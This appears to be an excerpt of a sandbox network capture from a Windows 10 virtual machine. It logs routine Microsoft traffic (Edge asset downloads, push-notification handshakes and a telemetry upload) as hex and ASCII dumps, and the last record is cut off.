2024-07-26 11:51:27 UTC	478	OUT	GET /assets/product_category_en/1.0.0/asset?assetgroup=ProductCategories HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: ProductCategories Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 11:51:27 UTC	559	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:51:27 GMT Content-Type: application/octet-stream Content-Length: 82989 Connection: close Last-Modified: Thu, 25 May 2023 20:28:02 GMT ETag: 0x8DB5D5E89CE25EB x-ms-request-id: 4aa37a84-501e-0056-03f9-de8077000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240726T115127Z-15c77d898445drrsbbn7p7unn800000001mg000000007yrv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-26 11:51:27 UTC	15825	IN	Data Raw: 0a 22 08 f2 33 12 1d 0a 0c 43 61 72 20 26 20 47 61 72 61 67 65 12 0d 42 65 6c 74 73 20 26 20 48 6f 73 65 73 0a 23 08 d7 2b 12 1e 0a 11 53 70 6f 72 74 73 20 26 20 4f 75 74 64 6f 6f 72 73 12 09 41 69 72 20 50 75 6d 70 73 0a 21 08 b8 22 12 1c 0a 0c 43 61 72 20 26 20 47 61 72 61 67 65 12 0c 42 6f 64 79 20 53 74 79 6c 69 6e 67 0a 34 08 c3 35 12 2f 0a 18 47 6f 75 72 6d 65 74 20 46 6f 6f 64 20 26 20 43 68 6f 63 6f 6c 61 74 65 12 13 53 70 69 63 65 73 20 26 20 53 65 61 73 6f 6e 69 6e 67 73 0a 27 08 a4 2c 12 22 0a 11 53 70 6f 72 74 73 20 26 20 4f 75 74 64 6f 6f 72 73 12 0d 53 6c 65 65 70 69 6e 67 20 47 65 61 72 0a 21 08 f5 36 12 1c 0a 0d 4c 61 77 6e 20 26 20 47 61 72 64 65 6e 12 0b 48 79 64 72 6f 70 6f 6e 69 63 73 0a 39 08 61 12 35 0a 11 42 6f 6f 6b 73 20 26 20 4d Data Ascii: "3Car & GarageBelts & Hoses#+Sports & OutdoorsAir Pumps!"Car & GarageBody Styling45/Gourmet Food & ChocolateSpices & Seasonings',"Sports & OutdoorsSleeping Gear!6Lawn & GardenHydroponics9a5Books & M
2024-07-26 11:51:27 UTC	16384	IN	Data Raw: 69 64 65 6f 20 47 61 6d 65 73 12 1b 4e 69 6e 74 65 6e 64 6f 20 53 79 73 74 65 6d 20 41 63 63 65 73 73 6f 72 69 65 73 0a 20 08 a2 26 12 1b 0a 10 54 6f 6f 6c 73 20 26 20 48 61 72 64 77 61 72 65 12 07 54 6f 69 6c 65 74 73 0a 2c 08 f3 28 12 27 0a 14 4b 69 74 63 68 65 6e 20 26 20 48 6f 75 73 65 77 61 72 65 73 12 0f 45 6c 65 63 74 72 69 63 20 4d 69 78 65 72 73 0a 21 08 c0 32 12 1c 0a 04 54 6f 79 73 12 14 53 61 6e 64 62 6f 78 20 26 20 42 65 61 63 68 20 54 6f 79 73 0a 35 08 a5 25 12 30 0a 18 47 6f 75 72 6d 65 74 20 46 6f 6f 64 20 26 20 43 68 6f 63 6f 6c 61 74 65 12 14 53 65 61 66 6f 6f 64 20 43 6f 6d 62 69 6e 61 74 69 6f 6e 73 0a 24 08 d7 27 12 1f 0a 10 48 6f 6d 65 20 46 75 72 6e 69 73 68 69 6e 67 73 12 0b 43 61 6b 65 20 53 74 61 6e 64 73 0a 2e 08 a4 28 12 29 0a Data Ascii: ideo GamesNintendo System Accessories &Tools & HardwareToilets,('Kitchen & HousewaresElectric Mixers!2ToysSandbox & Beach Toys5%0Gourmet Food & ChocolateSeafood Combinations$'Home FurnishingsCake Stands.()
2024-07-26 11:51:27 UTC	16384	IN	Data Raw: 26 20 47 61 72 61 67 65 12 1c 44 72 69 76 65 77 61 79 20 26 20 47 61 72 61 67 65 20 46 6c 6f 6f 72 20 43 61 72 65 0a 25 08 f0 2a 12 20 0a 0f 4f 66 66 69 63 65 20 50 72 6f 64 75 63 74 73 12 0d 50 61 70 65 72 20 50 75 6e 63 68 65 73 0a 2d 08 c1 2c 12 28 0a 11 53 70 6f 72 74 73 20 26 20 4f 75 74 64 6f 6f 72 73 12 13 42 69 63 79 63 6c 65 20 41 63 63 65 73 73 6f 72 69 65 73 0a 22 08 a2 27 12 1d 0a 10 48 6f 6d 65 20 46 75 72 6e 69 73 68 69 6e 67 73 12 09 4e 6f 76 65 6c 74 69 65 73 0a 16 08 f3 29 12 11 0a 05 4d 75 73 69 63 12 08 45 78 65 72 63 69 73 65 0a 22 08 8e 31 12 1d 0a 11 53 70 6f 72 74 73 20 26 20 4f 75 74 64 6f 6f 72 73 12 08 53 77 69 6d 6d 69 6e 67 0a 26 08 d4 21 12 21 0a 12 42 65 61 75 74 79 20 26 20 46 72 61 67 72 61 6e 63 65 12 0b 4d 61 6b 65 75 70 Data Ascii: & GarageDriveway & Garage Floor Care%* Office ProductsPaper Punches-,(Sports & OutdoorsBicycle Accessories"'Home FurnishingsNovelties)MusicExercise"1Sports & OutdoorsSwimming&!!Beauty & FragranceMakeup
2024-07-26 11:51:27 UTC	16384	IN	Data Raw: 6f 63 6b 20 50 61 72 74 73 0a 1b 08 be 29 12 16 0a 0d 4c 61 77 6e 20 26 20 47 61 72 64 65 6e 12 05 42 75 6c 62 73 0a 21 08 a3 21 12 1c 0a 12 42 65 61 75 74 79 20 26 20 46 72 61 67 72 61 6e 63 65 12 06 4d 61 6b 65 75 70 0a 2d 08 49 12 29 0a 11 42 6f 6f 6b 73 20 26 20 4d 61 67 61 7a 69 6e 65 73 12 14 42 75 73 69 6e 65 73 73 20 26 20 45 63 6f 6e 6f 6d 69 63 73 0a 23 08 d5 23 12 1e 0a 09 43 6f 6d 70 75 74 69 6e 67 12 11 45 78 70 61 6e 73 69 6f 6e 20 4d 6f 64 75 6c 65 73 0a 2f 08 a2 24 12 2a 0a 0b 45 6c 65 63 74 72 6f 6e 69 63 73 12 1b 43 44 20 50 6c 61 79 65 72 73 20 26 20 53 74 65 72 65 6f 20 53 79 73 74 65 6d 73 0a 1f 08 d4 26 12 1a 0a 10 48 6f 6d 65 20 46 75 72 6e 69 73 68 69 6e 67 73 12 06 51 75 69 6c 74 73 0a 22 08 86 23 12 1d 0a 10 43 6c 6f 74 68 69 6e Data Ascii: ock Parts)Lawn & GardenBulbs!!Beauty & FragranceMakeup-I)Books & MagazinesBusiness & Economics##ComputingExpansion Modules/$*ElectronicsCD Players & Stereo Systems&Home FurnishingsQuilts"#Clothin
2024-07-26 11:51:27 UTC	16384	IN	Data Raw: 65 72 73 0a 27 08 a6 2c 12 22 0a 11 53 70 6f 72 74 73 20 26 20 4f 75 74 64 6f 6f 72 73 12 0d 53 6c 65 65 70 69 6e 67 20 42 61 67 73 0a 24 08 bd 21 12 1f 0a 12 42 65 61 75 74 79 20 26 20 46 72 61 67 72 61 6e 63 65 12 09 46 72 61 67 72 61 6e 63 65 0a 28 08 63 12 24 0a 11 42 6f 6f 6b 73 20 26 20 4d 61 67 61 7a 69 6e 65 73 12 0f 4d 75 73 69 63 20 4d 61 67 61 7a 69 6e 65 73 0a 1e 08 8a 2b 12 19 0a 0f 4f 66 66 69 63 65 20 50 72 6f 64 75 63 74 73 12 06 52 75 6c 65 72 73 0a 2d 08 a9 33 12 28 0a 09 43 6f 6d 70 75 74 69 6e 67 12 1b 50 72 69 6e 74 65 72 20 50 61 72 74 73 20 26 20 41 74 74 61 63 68 6d 65 6e 74 73 0a 27 08 ef 23 12 22 0a 09 43 6f 6d 70 75 74 69 6e 67 12 15 54 68 69 6e 20 43 6c 69 65 6e 74 20 43 6f 6d 70 75 74 65 72 73 0a 37 08 bc 24 12 32 0a 0b 45 6c Data Ascii: ers',"Sports & OutdoorsSleeping Bags$!Beauty & FragranceFragrance(c$Books & MagazinesMusic Magazines+Office ProductsRulers-3(ComputingPrinter Parts & Attachments'#"ComputingThin Client Computers7$2El
2024-07-26 11:51:27 UTC	1628	IN	Data Raw: 0b 44 56 44 20 50 6c 61 79 65 72 73 0a 34 08 dc 36 12 2f 0a 0c 43 61 72 20 26 20 47 61 72 61 67 65 12 1f 53 6e 6f 77 6d 6f 62 69 6c 65 20 26 20 41 54 56 20 53 6b 69 73 20 26 20 52 75 6e 6e 65 72 73 0a 23 08 a2 21 12 1e 0a 12 42 65 61 75 74 79 20 26 20 46 72 61 67 72 61 6e 63 65 12 08 54 77 65 65 7a 65 72 73 0a 30 08 8e 33 12 2b 0a 0c 50 65 74 20 53 75 70 70 6c 69 65 73 12 1b 50 65 74 20 48 61 62 69 74 61 74 20 26 20 43 61 67 65 20 53 75 70 70 6c 69 65 73 0a 29 08 d4 23 12 24 0a 09 43 6f 6d 70 75 74 69 6e 67 12 17 44 69 67 69 74 61 6c 20 4d 65 64 69 61 20 52 65 63 65 69 76 65 72 73 0a 2a 08 f3 2b 12 25 0a 11 53 70 6f 72 74 73 20 26 20 4f 75 74 64 6f 6f 72 73 12 10 42 6f 61 74 20 4d 61 69 6e 74 65 6e 61 6e 63 65 0a 22 08 d7 26 12 1d 0a 10 48 6f 6d 65 20 46 Data Ascii: DVD Players46/Car & GarageSnowmobile & ATV Skis & Runners#!Beauty & FragranceTweezers03+Pet SuppliesPet Habitat & Cage Supplies)#$ComputingDigital Media Receivers*+%Sports & OutdoorsBoat Maintenance"&Home F

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	63406	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:51:38 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 67 52 53 6f 6a 38 35 35 79 6b 69 33 53 42 46 36 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 30 33 30 31 66 33 39 63 36 32 65 34 65 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: gRSoj855yki3SBF6.1Context: d50301f39c62e4e6
2024-07-26 11:51:38 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 11:51:38 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 67 52 53 6f 6a 38 35 35 79 6b 69 33 53 42 46 36 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 30 33 30 31 66 33 39 63 36 32 65 34 65 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 67 7a 55 54 5a 78 4d 32 49 32 4e 36 51 78 64 6e 43 38 44 54 41 4f 73 43 66 4a 4c 35 63 6a 76 76 57 57 63 4c 58 4b 4a 67 35 44 36 79 75 67 66 70 79 2f 58 67 55 63 77 66 35 6b 39 57 38 6a 54 47 45 49 71 33 35 44 63 66 33 56 45 51 4f 4d 67 74 42 74 37 39 53 64 33 68 2b 42 73 41 4e 64 4a 4c 6e 59 57 64 59 46 6f 6a 71 4b 68 44 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: gRSoj855yki3SBF6.2Context: d50301f39c62e4e6<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUgzUTZxM2I2N6QxdnC8DTAOsCfJL5cjvvWWcLXKJg5D6yugfpy/XgUcwf5k9W8jTGEIq35Dcf3VEQOMgtBt79Sd3h+BsANdJLnYWdYFojqKhD
2024-07-26 11:51:38 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 67 52 53 6f 6a 38 35 35 79 6b 69 33 53 42 46 36 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 30 33 30 31 66 33 39 63 36 32 65 34 65 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: gRSoj855yki3SBF6.3Context: d50301f39c62e4e6<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 11:51:38 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 11:51:38 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4e 31 4f 43 4f 64 45 66 74 45 47 64 52 6d 55 2f 59 66 79 51 65 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: N1OCOdEftEGdRmU/YfyQeg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	63514	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:53:02 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4c 4f 43 4f 6b 63 48 69 61 6b 65 68 73 56 79 67 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 32 39 37 32 37 34 36 61 35 62 64 31 61 34 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: LOCOkcHiakehsVyg.1Context: 62972746a5bd1a4b
2024-07-26 11:53:02 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 11:53:02 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 4c 4f 43 4f 6b 63 48 69 61 6b 65 68 73 56 79 67 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 32 39 37 32 37 34 36 61 35 62 64 31 61 34 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 67 7a 55 54 5a 78 4d 32 49 32 4e 36 51 78 64 6e 43 38 44 54 41 4f 73 43 66 4a 4c 35 63 6a 76 76 57 57 63 4c 58 4b 4a 67 35 44 36 79 75 67 66 70 79 2f 58 67 55 63 77 66 35 6b 39 57 38 6a 54 47 45 49 71 33 35 44 63 66 33 56 45 51 4f 4d 67 74 42 74 37 39 53 64 33 68 2b 42 73 41 4e 64 4a 4c 6e 59 57 64 59 46 6f 6a 71 4b 68 44 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: LOCOkcHiakehsVyg.2Context: 62972746a5bd1a4b<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUgzUTZxM2I2N6QxdnC8DTAOsCfJL5cjvvWWcLXKJg5D6yugfpy/XgUcwf5k9W8jTGEIq35Dcf3VEQOMgtBt79Sd3h+BsANdJLnYWdYFojqKhD
2024-07-26 11:53:02 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4c 4f 43 4f 6b 63 48 69 61 6b 65 68 73 56 79 67 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 32 39 37 32 37 34 36 61 35 62 64 31 61 34 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: LOCOkcHiakehsVyg.3Context: 62972746a5bd1a4b<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 11:53:02 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 11:53:02 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4b 65 55 43 5a 48 64 59 64 30 53 63 75 2b 37 5a 6f 39 4f 50 2f 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: KeUCZHdYd0Scu+7Zo9OP/Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	63518	20.189.173.27	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:53:05 UTC	828	OUT	POST /OneCollector/1.0/ HTTP/1.1 Accept: / APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521 AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENX7wUC+MYl+R+dP6Ge+Ps/gAK2S4rAvLsS9lNlstWnrY2Ovw6/QYWUW40yWi3W2oq2TgmfD/F4rhcGc/Q3kxTRWn1J3nPhOAny4YuIpbKp/JxVo2IKfr0u2Ob+Xasi+8kVvlgcJFM/02j6m9rZf8SsufBGSnZuCNcAMbSRQwAt9ttIddTRQ/7dkFG7ZzhfDKlscCwPqu8roSfIr2wEDw126PJnTg8kgpdZV8FhO09Z9yZkJbvNRCuX40AaiKTP7/kep+t5XHG1Tp05wc6bODUUz8SiWkHpg7isRn5nplH5Pwj6qy8wfjiPn8r9T6Iz9u6hFIAE=&p= Client-Id: NO_AUTH Content-Encoding: deflate Content-Type: application/bond-compact-binary Expect: 100-continue SDK-Version: EVT-Windows-C++-No-3.4.15.1 Upload-Time: 1721994783452 Host: self.events.data.microsoft.com Content-Length: 7973 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 11:53:05 UTC	7973	OUT	Data Raw: ed 7c 5b ac 5c 57 9a 56 39 c9 04 c7 71 1c 77 92 4e 27 e9 4c c7 63 a5 9b ce 74 d5 61 dd 2f 25 46 d3 8e ed 74 9c b1 db c1 c7 49 9a 96 46 66 57 d5 ae 3a db ae aa 7d 52 17 5f a2 79 88 fa 61 a4 41 1a 84 5b 42 02 9e 5a 08 d0 44 02 04 12 3c 30 4f f3 c0 03 8d 91 10 42 e2 81 e6 61 40 02 09 9e 06 04 bc c0 03 df bf f6 6d d5 f2 89 bb a7 d5 8a a6 25 1f d9 3e fe d7 5a 7b 5d ff ff fb bf 7f ad b5 f7 5b 4f ca 3d 76 49 5d 9d 4e 8b 71 7e 63 ff de 7a 93 2f ea 5f ef e6 d9 7c 73 70 25 df 64 93 6c 93 5d c8 6f a3 c4 f9 72 b9 2e e7 05 12 f2 c9 c7 7f f7 9f fc 8f ff f6 b7 fe c3 bf ff 8f 5f fa ec 6c 39 1c 4f 9c 34 46 18 c3 f9 58 8d b3 2c 73 d3 b1 1e 89 dc 0a 97 e7 8e 4f fe ed d3 3f 78 ea c1 97 4f 1c 2b 4e 7e 78 e5 4e b6 ca fb 67 2e 2d c7 7b bf 77 a2 92 04 eb f3 de 83 97 4f 1c eb 3d Data Ascii: \|[\WV9qwN'Lcta/%FtIFfW:}R_yaA[BZD<0OBa@m%>Z{][O=vI]Nq~cz/_\|sp%dl]or._l9O4FX,sO?xO+N~xNg.-{wO=
2024-07-26 11:53:05 UTC	25	IN	HTTP/1.1 100 Continue
2024-07-26 11:53:05 UTC	443	IN	HTTP/1.1 200 OK Content-Length: 9 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 time-delta-millis: 2259 Access-Control-Allow-Headers: time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: time-delta-millis Date: Fri, 26 Jul 2024 11:53:05 GMT Connection: close {"acc":4}

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	63649	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:54:56 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 56 71 41 71 74 6a 4d 6e 64 6b 53 63 64 48 49 6d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 62 39 31 34 37 31 30 39 36 39 33 30 34 32 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: VqAqtjMndkScdHIm.1Context: 4b91471096930423
2024-07-26 11:54:56 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 11:54:56 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 56 71 41 71 74 6a 4d 6e 64 6b 53 63 64 48 49 6d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 62 39 31 34 37 31 30 39 36 39 33 30 34 32 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 67 7a 55 54 5a 78 4d 32 49 32 4e 36 51 78 64 6e 43 38 44 54 41 4f 73 43 66 4a 4c 35 63 6a 76 76 57 57 63 4c 58 4b 4a 67 35 44 36 79 75 67 66 70 79 2f 58 67 55 63 77 66 35 6b 39 57 38 6a 54 47 45 49 71 33 35 44 63 66 33 56 45 51 4f 4d 67 74 42 74 37 39 53 64 33 68 2b 42 73 41 4e 64 4a 4c 6e 59 57 64 59 46 6f 6a 71 4b 68 44 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: VqAqtjMndkScdHIm.2Context: 4b91471096930423<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUgzUTZxM2I2N6QxdnC8DTAOsCfJL5cjvvWWcLXKJg5D6yugfpy/XgUcwf5k9W8jTGEIq35Dcf3VEQOMgtBt79Sd3h+BsANdJLnYWdYFojqKhD
2024-07-26 11:54:56 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 56 71 41 71 74 6a 4d 6e 64 6b 53 63 64 48 49 6d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 62 39 31 34 37 31 30 39 36 39 33 30 34 32 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: VqAqtjMndkScdHIm.3Context: 